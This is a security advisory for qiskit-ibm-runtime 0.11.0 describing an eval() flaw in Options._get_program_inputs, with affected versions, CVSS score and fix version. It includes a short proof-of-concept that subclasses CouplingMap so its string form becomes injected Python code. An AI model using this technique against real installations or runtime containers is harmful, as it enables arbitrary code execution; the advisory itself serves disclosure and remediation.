GHSA-cq96-9974-v8hm

Suggest an improvement
Source
https://github.com/advisories/GHSA-cq96-9974-v8hm
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/03/GHSA-cq96-9974-v8hm/GHSA-cq96-9974-v8hm.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-cq96-9974-v8hm
Published
2024-03-20T15:41:26Z
Modified
2024-11-29T05:41:07.076314Z
Severity
  • 2.8 (Low) CVSS_V3 - CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N CVSS Calculator
Summary
Dynamic Variable Evaluation in qiskit-ibm-runtime
Details

Summary

An eval() method exists Options._get_program_inputs. This is bad in any case, but especially bad because Options are also used server side, so this has the potential to expose arbitrary code injection in runtime containers, now or at a later time.

Details

https://github.com/Qiskit/qiskit-ibm-runtime/blob/da94a42060f1a22e6f306227deb45b70e0075723/qiskitibmruntime/options/options.py#L140

PoC

A local exploit would be something like

from qiskit import transpiler

class BadActor(transpiler.CouplingMap):
    def __str__(self):
        return "print('external code')"

Where print("external code") can be any arbitrary python code string.

Then if you did a normal workflow and used a specifically constructed CouplingMap subclass like BadActor above:

from qiskit_ibm_runtime import QiskitRuntimeService, Session, Options, Sampler
from qiskit import QuantumCircuit

cmap = BadActor.from_line(42)
service = QiskitRuntimeService()
options = Options(optimization_level=1)
options.simulator = dict(coupling_map=cmap))

bell = QuantumCircuit(2)
bell.h(0)
bell.cx(0, 1)
bell.measure_all()

with Session(service=service, backend="ibmq_qasm_simulator") as session:
    sampler = Sampler(session=session, options=options).run(bell)

This will print external code

Impact

Security vulnerability.

Database specific
{
    "nvd_published_at": null,
    "severity": "LOW",
    "github_reviewed_at": "2024-03-20T15:41:26Z",
    "cwe_ids": [
        "CWE-627"
    ],
    "github_reviewed": true
}
References

Affected packages

PyPI / qiskit-ibm-runtime

Package

Name
qiskit-ibm-runtime
View open source insights on deps.dev
Purl
pkg:pypi/qiskit-ibm-runtime

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0.11.0
Fixed
0.11.1

Affected versions

0.*
0.11.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/03/GHSA-cq96-9974-v8hm/GHSA-cq96-9974-v8hm.json"